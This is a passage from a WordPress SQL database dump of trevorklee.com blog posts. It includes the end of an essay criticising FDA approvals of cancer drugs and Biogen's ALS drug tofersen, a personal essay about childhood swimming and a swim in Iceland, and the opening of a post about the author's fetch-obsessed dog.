still not overall survival). For the drug companies, it allowed them to argue that their drug halted or delayed the progression of cancer, even if it didn’t cure it or shrink the tumors. And, for the FDA, it allowed for the creation of increasingly elaborate stages of cancer treatment, with many multi-step flow charts that only PhDs could keep track of but which seemed like progress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa05d38e2-61b9-428a-bffe-8195d0e04179_1600x948.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa05d38e2-61b9-428a-bffe-8195d0e04179_1600x948.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">What to do if you have prostate cancer. Side note: prostate cancer is insanely common among elderly men, and mostly does not matter clinically and should not be treated. As my ex’s med school professor said, “Most men die with prostate cancer, not of it.”</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>With this new surrogate endpoint in hand, cancer companies flourished. Not only were cancer drugs 36% of accelerated approvals from 1992 to 2010 (vs. 40% for HIV drugs), they were actually a full 85% of accelerated approvals from 2010 to 2020.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this activity famously resulted in relatively weak progress in treating cancer compared to the literal hundreds of billions spent on it. Even now, in the year 2023, where we have some pretty miraculous cancer drugs,&nbsp;<a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/fda-expands-early-breast-cancer-indication-abemaciclib-endocrine-therapy\">the FDA is still approving drugs that do not result in a statistically higher overall survival rate than the standard of care</a>, like abemaciclib for certain forms of breast cancer. That is, if you have one of the forms of breast cancer that abemaciclib is approved for and you get abemaciclib added onto your treatment regiment, you will not live any longer overall. You’ll just get a little more time where your breast cancer isn’t advancing, before it comes back with a vengeance and kills you anyways at the same time it was going to in the first place. If this still sounds like a good bargain, you’ll also be fighting off statistically higher levels of immunodeficiency and diarrhea, so, uh, have fun. Also, you (or hopefully, your insurance), will be paying $14k/month for this privilege.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, for the record, the drug I just mentioned wasn’t cherry-picked. I just went to the FDA’s webpage for most recently approved cancer drugs and clicked on a few until I saw one that did not improve survival.&nbsp;<a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/fda-expands-early-breast-cancer-indication-abemaciclib-endocrine-therapy\">Try it yourself</a>&nbsp;on the FDA’s recent approvals website and I guarantee you will find a terrible cancer drug in 30 seconds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, for Internet nerds like you and me, this all likely sounds like, at best, mixed success on the part of the FDA’s “Oncology Center of Excellence”. But, think about it from the perspective of the rest of the FDA. The Oncology Center of Excellence, unlike every other part of the FDA, is approving a ton of drugs, is in constant contact with patient advocacy groups and incredibly well funded non-profits (the American Cancer Society alone brings in&nbsp;<a href=\"https://paddockpost.com/2021/10/14/executive-compensation-at-the-american-cancer-society-2019/\">$700+ million per year</a>), and regularly collaborates with industry to design super clever trials. That can start to make your own division look pretty boring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is especially true if your division is something like Neurology, which traditionally has had a lot of problems getting successful drugs. In fact, none of the big diseases in neurology have any successful drugs that can really modify the course of the disease. It can probably be a pretty depressing field to be a regulator in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when there started to be a partly grassroots, partly astroturfed groundswell of support for new treatments in neurology by well–heeled high profile nonprofits, like the ~$500 million/year Alzheimer\'s Association and their $1.5 million/year salaried CEO, as well as pressure from regulators, like&nbsp;<a href=\"https://www.als.org/advocacy/als-caucus\">the ALS Association’s roster of senators who’ve explicitly promised to pressure the FDA to help end ALS</a>, the neurology division, too, wanted to become “rational”<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-3-135211863\">3</a>. Maybe the problem in neurology all along was that they weren’t rational enough, and that they, too, were throwing out the baby with the bathwater by focusing solely on non-harm and then on clinical efficacy, without ever considering mechanistic understanding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, there’s nothing wrong with this, per se. The FDA’s insistence on making sure no possibly harmful drugs ever made it to healthy volunteers did probably kill some drugs that could have been helpful in patients. And, ironically, the FDA’s focus on clinical efficacy above mechanism benefited some drugs that definitely weren’t helpful in neurodegenerative diseases and we had zero reason to believe they would be, but skated by on sketchy trial data<a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-4-135211863\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The problem is how this rationality is applied. And that, at last, brings us back to tofersen, Biogen’s ALS drug. Tofersen is a great example of misapplied rationality. And to prove it, all we need to do is to look at Biogen’s, well, rationale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, one of the really nice things about drug development is that so much of it is public. Not only do drug companies publish a bunch of their research, but&nbsp;<a href=\"https://www.fda.gov/advisory-committees/advisory-committee-calendar/updated-meeting-time-and-public-participation-information-march-22-2023-meeting-peripheral-and\">their arguments to the FDA’s experts</a>&nbsp;are public. That gives transparency to how drug companies think about these diseases (or at least how they want the FDA to think about them), which can illuminate a lot more than what the company would like us to see.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if we dive into Biogen’s presentation to the FDA, we can see exactly how they approached this. Looking at their slide presentation, they started off thinking about wanting to tackle ALS in general. But, it was too confusing for them. There were too many mechanisms which all seemed to lead to the same pathology, and they didn’t think they could figure out an effective way to tackle all of the Rube Goldberg machines at once.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, they thought, let’s tackle just one, the absolute simplest, most clear Rube Goldberg machine in ALS. We’ll nail this one and then work on the others.<br><br>In Biogen’s eyes, that simple Rube Goldberg machine was SOD1 ALS, a rare genetic variant of ALS that affects only about 3000* people worldwide. Biogen chose this one because the logic seemed so clear:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Academics had identified SOD1 as a gene in which mutations led to ALS. Certain ALS patients tended to have mutations in this gene and the misfolded SOD1 proteins were present in ALS patients’ spines. Inducing these mutations in mice leads to ALS type symptoms.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, the ALS Rube Goldberg machine works by accumulating too much of this bad protein, at least in this version of ALS. Some ALS patients have this gene, this gene leads to bad proteins in mice and humans, and these bad proteins lead to ALS symptoms in mice.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Preventing the expression of mutant SOD1 using a newish technology called antisense oligonucleotides (ASOs) not only stopped the development of ALS type symptoms in mutant mice, but it stopped the accumulation of neurofilament in the blood and cerebrospinal fluid of mice, which Biogen had become convinced was the ultimate sign of neurodegeneration in ALS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, it seemed pretty clear that the ALS SOD1 Rube Goldberg machine could be stopped with an ASO jammer. The ASO jammer stopped the mutant SOD1 protein from being made; it stopped the ALS symptoms; and it stopped the accumulation of the thing that Biogen thought was most obviously caused by the SOD1 protein damage.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Using ASOs in people with ALS was pretty safe and it resulted in reductions in SOD1 mutated proteins and neurofilament.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Therefore, according to Biogen, their ASO, tofersen, would prevent SOD1 mutations from leading to ALS in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Biogen’s favorite part of all of this was how quantifiable it was. In every step, it wasn’t just “people with SOD1 mutations look worse” or “it looks like they have ALS”. It was “people with quantifiably high levels of mutated SOD1 proteins in their cerebrospinal fluid have quantifiably high levels of neurofilament”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This, in Biogen’s eyes, made SOD1 ALS the perfect Rube Goldberg machine to stop. Every part of it was quantifiable. That meant that they could also deliver quantifiable amounts of their Rube Goldberg jammer, tofersen, and say, “This amount of tofersen stops this amount of neurofilament build up.” Then, of course, they could start talking about how much that amount of tofersen costs (cost of goods sold), build a revenue model, and basically act like this is an engineering problem instead of a scientific one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, as we already know, because Biogen only wanted to focus on quantifiable, rational parts of drug development, they ended up just assuming that the non-quantifiable (or semi-quantifiable) parts of developing this drug (i.e. the scientific unknowns) would take care of themselves. This was not the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notably, once it came time to administer the drug to people, there was almost no difference in the ALS functional rating scale, the ALSFRS-R, between people who got the drug and people who got placebo at 28 weeks. Now, this rating scale is, at best, semi-quantifiable. It assigns a score of 0-4 to people with ALS across a range of measures, with 4 being the best and 0 being the worst. So, someone who can speak normally gets a 4, someone who slurs a bit gets a 3, and non-verbal people get a 0.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because it’s semi-quantifiable and difficult to translate to mice, Biogen basically chose to ignore the ALSFRS-R all throughout their development. Even when it came to their final, pivotal trial, the one that they knew this rating scale would be the “primary endpoint” for (i.e. the main thing that the FDA judged them on), they still chose to ignore it. They just assumed that it would, well, behave rationally. This assumption bit them in the ass. Or, at least, it should have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s interesting reading Biogen’s responses after their trial failed. Along with a bunch of post-trial data slicing in a desperate attempt to find some significance somewhere, they rail against how fundamentally unfair a placebo-controlled trial on a semi-quantitative measure is. They are so frustrated that their placebo group declined slower than they thought they would, and that there were no deaths attributable to ALS in either group, and that participants decline at different rates on this scale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“All this real-world data is so&nbsp;<em>messy</em>,” you can almost hear them complaining behind their dry language and copious citations. “None of it is predictable. It doesn’t behave at all as it should. Why are we even paying attention to it?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I don’t think it was this complaining that actually sealed the deal with the FDA. I think that was probably the open-label extension, in which all the participants in the trial got switched to treatment after the end of the trial, regardless on whether they were on treatment before. This is standard for diseases where there are no other treatments, with the idea being that some hope of success is better than none.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this open-label extension, people who got tofersen in the first place did actually do significantly better at the one year mark than people who got tofersen later (i.e. they had, on average, a 3.5 point higher score on the ALSFR-R rating scale, which is not a lot but might be the difference between not walking and walking with assistance). Biogen argued this was because tofersen actually just takes a while to work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not quite so simple as Biogen would like, though. By the time the open label extension finished, 15/72 people dropped out of the early tofersen group, and those left might have just been the people for whom their ALS happened to progress slowly. That is, neither Biogen nor the patients know in advance if an individual patient’s ALS will progress quickly or slowly (e.g. end up on a feeding tube in 2 years or 4).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The entire point of randomizing a trial is to try to allocate equal numbers of slow progressors and fast progressors to the treatment and placebo arms, and to avoid thinking that a treatment worked better than placebo when in fact the treatment group just randomly would have done better than the placebo group anyways. The people who don’t drop out of a treatment group (and, in fact, choose to continue treatment even after the study has concluded) might be people who were helped by the treatment, or might be people who would have done comparatively well even if they hadn’t been on treatment. It’s impossible for either Biogen or the patients to know.&nbsp; These sorts of complications in interpretation are exactly why the FDA has traditionally been very strict about primary endpoints being what determines the approval of a drug.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On a very related note, it’s pretty weird that Biogen argued that stopping the SOD1 mutation and preventing the accumulation of neurofilament was the absolute be-all and end-all, and that they had definitively understood the ALS Rube Goldberg machine and how to stop it, and then their strongest effect in ALS (by their own accounting!) was… possibly making people decline only 6 points on the 48 point rating scale rather than 9.5 points. Not exactly a miracle cure!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And it’s especially bad that Biogen was so successful with these rational arguments because their success is going to have a knock on effect on ALS drug development and drug development in neurology more generally, especially if they’re financially successful with this drug. If Biogen can make money with this approach, VCs and angels will insist that others will follow this approach as well. This will also take up the limited clinical trial resources available in a small disease like ALS (and especially small, genetically distinct subsets of ALS), making even testing alternative approaches to this disease much more difficult. I would say this is not an ideal situation!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, the FDA, at the end of the day, does not care what I have to say. Instead, they bought Biogen’s argument about rationality and the open label extension, and let Biogen sell the drug in exchange for promising to do a follow-up trial later, with no actual enforcement on when that “later” is. That is, Biogen once again successfully argued before the FDA Neurology division that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Weak clinical evidence that is subject to interpretation plus</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Overwhelming “rational” evidence that they successfully reduced the accumulation of their biomarker means that</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Their drug is effective for patients in an incurable neurodegenerative disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And somewhere, Dr. Doofenshmirtz sighs as he finds another two nickels in his pocket.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-1-135211863\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although it is pretty suspicious that Billy Dunn, who was in charge of the FDA’s Neurology Division during the aducanumab decision/debacle, joined&nbsp;<a href=\"https://www.biopharmadive.com/news/billy-dunn-prothena-board-join-fda-departure/650478/\">the well-paid Prothena Board of Directors this past May</a>. Prothena is a company trying to convince the FDA to approve their therapeutic for Alzheimer’s. They may want Billy Dunn on their Board for reasons other than his scientific expertise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-2-135211863\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like the infamous “morning sickness pill that causes birth defects”&nbsp;<a href=\"https://en.wikipedia.org/wiki/Thalidomide#History\">thalidomide</a>, although that was actually never approved in the US, in large part because the FDA demanded further testing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-3-135211863\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is about a decade or two after academia/industry also became “rational” about neurology, exemplified most prominently by&nbsp;<a href=\"https://www.statnews.com/2019/06/25/alzheimers-cabal-thwarted-progress-toward-cure/\">the amyloid hypothesis in Alzheimer’s</a>. As that link explains, the NIH got so captured by the proponents of the eminently rational hypothesis that Alzheimer’s is caused by a buildup of amyloid protein that it became almost impossible to get funding for studying anything else in Alzheimer’s.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/when-rational-drug-design-meets-an#footnote-anchor-4-135211863\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although this was more easily fixed by the FDA insisting on stuff like pre-registering trials, not hiding failed trials, and avoiding p-hacking. The FDA got way more serious about this stuff in the 2000s, but earlier drugs were grandfathered in. This is why we still have some neurodegenerative “treatments” from the 90s that nobody talks about, like&nbsp;<a href=\"https://en.wikipedia.org/wiki/Memantine\">memantine</a>, a drug that was approved for Alzheimer’s in 2003 and is safe but definitely doesn’t work.</p>\n<!-- /wp:paragraph -->','When rational drug design meets an irrational disease','','inherit','closed','closed','','405-revision-v1','','','2024-06-12 15:56:57','2024-06-12 15:56:57','',405,'https://trevorklee.com/?p=406',0,'revision','',0),
(407,1,'2024-06-12 15:58:38','2024-06-12 15:58:38','<!-- wp:paragraph -->\n<p>When I was younger, I used to swim competitively. Well, that’s not entirely accurate. I was on a competitive swim team, and people would yell at me in races to swim faster, and I sometimes obliged. My parents always had to drag me to practice, though, and I was never particularly interested in improving my skills outside of my mandatory practices. I much preferred reading and playing video games.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I discovered breakdance the summer after my freshman year of high school, when I was 13. That changed my life. That wasn’t just the first athletic activity I loved. That was the first skill I really loved. School was easy for me, and, as my mom would say, I never really “caught fire” about any of the subjects. I would just do the bare minimum to get an A. Even videogames, which I enjoyed, were never really something I wanted to get better at. I shied away from difficult videogames and was ok being mediocre at multiplayer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But breakdance was different. Breakdance fascinated me. I wanted so much to be better and to do better. I loved watching myself and I loved learning new moves. I could spend hours thinking about it and learning about it. I’d practice late at night and wake my parents up with my stomping feet and pounding music. I had so many opinions about which breakdancer was good and not good, and how popular culture had reduced this rich, complex artform to either “doing the robot” or “spinning on your head”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the heat of this love affair with breakdance, my arranged marriage with swimming was left far behind and it wasn’t missed. My clearest memories of it now are coming out of practice in the pitch dark at 8 or 9 at night in the winter, hair smelling of chlorine, the tight dryness of chemical-infused skin, and the way the cold air would whip around my still moist face and ears and numb them. The actual hours of laps are just a distant, mostly unpleasant memory. I don’t think about them often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Except for today, I did think about them. I’m on vacation in Iceland right now, and I decided to visit the local swimming pool, and those distant memories of long, hard practices just…came to me. You know, it’s funny. So much about the swimming culture in Iceland is foreign to me in a very literal way: the way they make you take your shoes off before you enter the locker room; the signs that mandate a nude shower before entering the pool; the five different hot tubs (one lukewarm, one warm, one hot, one very hot, and one hot but indoor); the cold tub; the steam room; the sauna. This is such a different culture than the bareboned practical YMCAs I grew up swimming in, with their dilapidated locker rooms, grimy shower rooms, over chlorinated lap pools, and antique vending machines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite everything else being so different, this Icelandic swimming pool had a lap pool which looked about regulation length (25 m) and diving blocks, just like the YMCAs of my childhood. That was all I needed. I climbed up to the diving block, and, from some ancient recess of memory, brought back the memory of the swim meet officials from long ago, “On your mark, get ready, go!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My body remembered how to competitively swim before my mind did. As I dove, I made the little shimmy in the air to prepare a smooth entry into the water, did a few strong butterfly kicks underwater, then broke the surface and raced to the other side (with a quick pause in the middle to stop my swim trunks from falling down). Stroke, stroke, breathe. Stroke, stroke, breathe. Then, at the other end, a flip turn, a strong push off the wall, and a race back to the other end. Then the breastroke, butterfly, and backstroke on subsequent laps, until I could feel my body burning with exhaustion and I was forced to stop for air.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I stopped, people were looking at me. I wasn’t sure if it was with interest or disapproval. I don’t know if Icelandic people are much into competitive swimming, although those diving blocks have to be up there for someone. I found it hard to care, though. All I could think was that, back then, when I swam competitively, it never occurred to me that literal years, maybe even a decade or more, could pass in between launches off of a diving block.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a weird feeling, looking back over the span of time like that. It’s not nostalgia, exactly, even though that’s certainly a vice I’m prone to. I remember too well how much I disliked being forced to go to swim practice. It struck me as pointless then, and as an adult, it strikes me as even more pointless. Sure, knowing how to swim is an important life skill, but was it really so important that we be so good at it?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it was still a formative time of my life. My body still remembers the movements. They come naturally to me in a way that movements I learned later cannot. I know on a deep level what it feels like to have the feeling of a rough diving block under my feet or smooth tile just at my fingertips. Swimming is a part of me in a way that I can’t excise, even if I only come back to it rarely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parents, for the most part, can’t appreciate the way that their choices impact their children. Sure, there are the big decisions, like whether to spank your children, but there’s no way my parents thought 25 years ago about how enrolling their son in a YMCA-affiliated swim league would make him feel two decades and a continent later. I expect the same will be true of me as well when I have children. I will make choices for my children that seem inconsequential then, those choices will come back to impact my children decades later, and I’ll be none the wiser.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, I was hanging out with my dad at my parents’ retirement home in Florida. We were eating dark chocolate after dinner, as is my dad’s custom, and I mentioned to him that every time I eat chocolate, I remember a scene from my childhood, when I had refused to eat dinner because I was full. I asked my mom for permission to get some chocolate. She said yes, unbeknownst to my dad. I had just put the chocolate in my mouth when my dad whirled around and yelled, “No dinner, no dessert!”&nbsp; I was so upset that I started crying, and the taste of the chocolate mixed with my tears was so disgusting that I had to spit it out in the trash can. And now, every time I eat dark chocolate, some part of my mind remembers that bitter, salty, revolting taste of chocolate mixed with tears.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I finished the story, my dad’s face fell, and I realized I had misjudged the story. He gave me a hug and said, “I never would have yelled if I had known you’d still remember that so many years later.” I reassured him that it was ok, and that I hadn’t told him that story to rebuke him for a minor misunderstanding from 20 years prior, and that, to be honest, I never would have told him that story if I had thought he would have been so remorseful about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had just wanted to share with him a memory that, in some sense, formed me, to try to explain the complex story of who I am with a simpler story of who I was. I thought maybe it’d be helpful for him as well. I don’t know. What do you think?</p>\n<!-- /wp:paragraph -->','Back then I never thought it\'d be a long time ago','','publish','closed','closed','','back-then-i-never-thought-itd-be-a-long-time-ago','','','2024-06-12 15:58:38','2024-06-12 15:58:38','',0,'https://trevorklee.com/?page_id=407',0,'page','',0),
(408,1,'2024-06-12 15:58:38','2024-06-12 15:58:38','<!-- wp:paragraph -->\n<p>When I was younger, I used to swim competitively. Well, that’s not entirely accurate. I was on a competitive swim team, and people would yell at me in races to swim faster, and I sometimes obliged. My parents always had to drag me to practice, though, and I was never particularly interested in improving my skills outside of my mandatory practices. I much preferred reading and playing video games.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I discovered breakdance the summer after my freshman year of high school, when I was 13. That changed my life. That wasn’t just the first athletic activity I loved. That was the first skill I really loved. School was easy for me, and, as my mom would say, I never really “caught fire” about any of the subjects. I would just do the bare minimum to get an A. Even videogames, which I enjoyed, were never really something I wanted to get better at. I shied away from difficult videogames and was ok being mediocre at multiplayer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But breakdance was different. Breakdance fascinated me. I wanted so much to be better and to do better. I loved watching myself and I loved learning new moves. I could spend hours thinking about it and learning about it. I’d practice late at night and wake my parents up with my stomping feet and pounding music. I had so many opinions about which breakdancer was good and not good, and how popular culture had reduced this rich, complex artform to either “doing the robot” or “spinning on your head”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the heat of this love affair with breakdance, my arranged marriage with swimming was left far behind and it wasn’t missed. My clearest memories of it now are coming out of practice in the pitch dark at 8 or 9 at night in the winter, hair smelling of chlorine, the tight dryness of chemical-infused skin, and the way the cold air would whip around my still moist face and ears and numb them. The actual hours of laps are just a distant, mostly unpleasant memory. I don’t think about them often.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Except for today, I did think about them. I’m on vacation in Iceland right now, and I decided to visit the local swimming pool, and those distant memories of long, hard practices just…came to me. You know, it’s funny. So much about the swimming culture in Iceland is foreign to me in a very literal way: the way they make you take your shoes off before you enter the locker room; the signs that mandate a nude shower before entering the pool; the five different hot tubs (one lukewarm, one warm, one hot, one very hot, and one hot but indoor); the cold tub; the steam room; the sauna. This is such a different culture than the bareboned practical YMCAs I grew up swimming in, with their dilapidated locker rooms, grimy shower rooms, over chlorinated lap pools, and antique vending machines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite everything else being so different, this Icelandic swimming pool had a lap pool which looked about regulation length (25 m) and diving blocks, just like the YMCAs of my childhood. That was all I needed. I climbed up to the diving block, and, from some ancient recess of memory, brought back the memory of the swim meet officials from long ago, “On your mark, get ready, go!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My body remembered how to competitively swim before my mind did. As I dove, I made the little shimmy in the air to prepare a smooth entry into the water, did a few strong butterfly kicks underwater, then broke the surface and raced to the other side (with a quick pause in the middle to stop my swim trunks from falling down). Stroke, stroke, breathe. Stroke, stroke, breathe. Then, at the other end, a flip turn, a strong push off the wall, and a race back to the other end. Then the breastroke, butterfly, and backstroke on subsequent laps, until I could feel my body burning with exhaustion and I was forced to stop for air.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I stopped, people were looking at me. I wasn’t sure if it was with interest or disapproval. I don’t know if Icelandic people are much into competitive swimming, although those diving blocks have to be up there for someone. I found it hard to care, though. All I could think was that, back then, when I swam competitively, it never occurred to me that literal years, maybe even a decade or more, could pass in between launches off of a diving block.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a weird feeling, looking back over the span of time like that. It’s not nostalgia, exactly, even though that’s certainly a vice I’m prone to. I remember too well how much I disliked being forced to go to swim practice. It struck me as pointless then, and as an adult, it strikes me as even more pointless. Sure, knowing how to swim is an important life skill, but was it really so important that we be so good at it?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it was still a formative time of my life. My body still remembers the movements. They come naturally to me in a way that movements I learned later cannot. I know on a deep level what it feels like to have the feeling of a rough diving block under my feet or smooth tile just at my fingertips. Swimming is a part of me in a way that I can’t excise, even if I only come back to it rarely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parents, for the most part, can’t appreciate the way that their choices impact their children. Sure, there are the big decisions, like whether to spank your children, but there’s no way my parents thought 25 years ago about how enrolling their son in a YMCA-affiliated swim league would make him feel two decades and a continent later. I expect the same will be true of me as well when I have children. I will make choices for my children that seem inconsequential then, those choices will come back to impact my children decades later, and I’ll be none the wiser.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, I was hanging out with my dad at my parents’ retirement home in Florida. We were eating dark chocolate after dinner, as is my dad’s custom, and I mentioned to him that every time I eat chocolate, I remember a scene from my childhood, when I had refused to eat dinner because I was full. I asked my mom for permission to get some chocolate. She said yes, unbeknownst to my dad. I had just put the chocolate in my mouth when my dad whirled around and yelled, “No dinner, no dessert!”&nbsp; I was so upset that I started crying, and the taste of the chocolate mixed with my tears was so disgusting that I had to spit it out in the trash can. And now, every time I eat dark chocolate, some part of my mind remembers that bitter, salty, revolting taste of chocolate mixed with tears.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As I finished the story, my dad’s face fell, and I realized I had misjudged the story. He gave me a hug and said, “I never would have yelled if I had known you’d still remember that so many years later.” I reassured him that it was ok, and that I hadn’t told him that story to rebuke him for a minor misunderstanding from 20 years prior, and that, to be honest, I never would have told him that story if I had thought he would have been so remorseful about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had just wanted to share with him a memory that, in some sense, formed me, to try to explain the complex story of who I am with a simpler story of who I was. I thought maybe it’d be helpful for him as well. I don’t know. What do you think?</p>\n<!-- /wp:paragraph -->','Back then I never thought it\'d be a long time ago','','inherit','closed','closed','','407-revision-v1','','','2024-06-12 15:58:38','2024-06-12 15:58:38','',407,'https://trevorklee.com/?p=408',0,'revision','',0),
(409,1,'2024-06-12 16:00:04','2024-06-12 16:00:04','<!-- wp:paragraph -->\n<p>My dog is obsessed with fetch. At least, that’s what I tell people. It’s the easiest way to explain why he focuses on fetch to the exclusion of almost any other activity a dog might find fun, like chasing a squirrel or wrestling one of his fellow canines. It makes it less surprising (although no less impressive) when I tell them that he spent 7 or 8 hours at a barbeque this past Memorial Day tossing his ball at people’s feet and having them throw it, over and over again, until he was too tired to move anymore, and then still wanted to play fetch again when we got home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa55bad59-c970-44b1-b6d2-ac5fcc188437_1179x786.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa55bad59-c970-44b1-b6d2-ac5fcc188437_1179x786.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Post-successful retrieval.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Obsessed, for most people, makes sense for a behavior like that. But I don’t think it’s quite the right word. Obsessed, in its original sense, meant literally haunted or possessed by a demon. You can pretty clearly see those original religious overtones in our modern use of the word. If a guy is obsessed with a woman, the idea of her haunts him. He sees her face reflected in magazine covers and TV ads. Songs about beautiful women seem to be 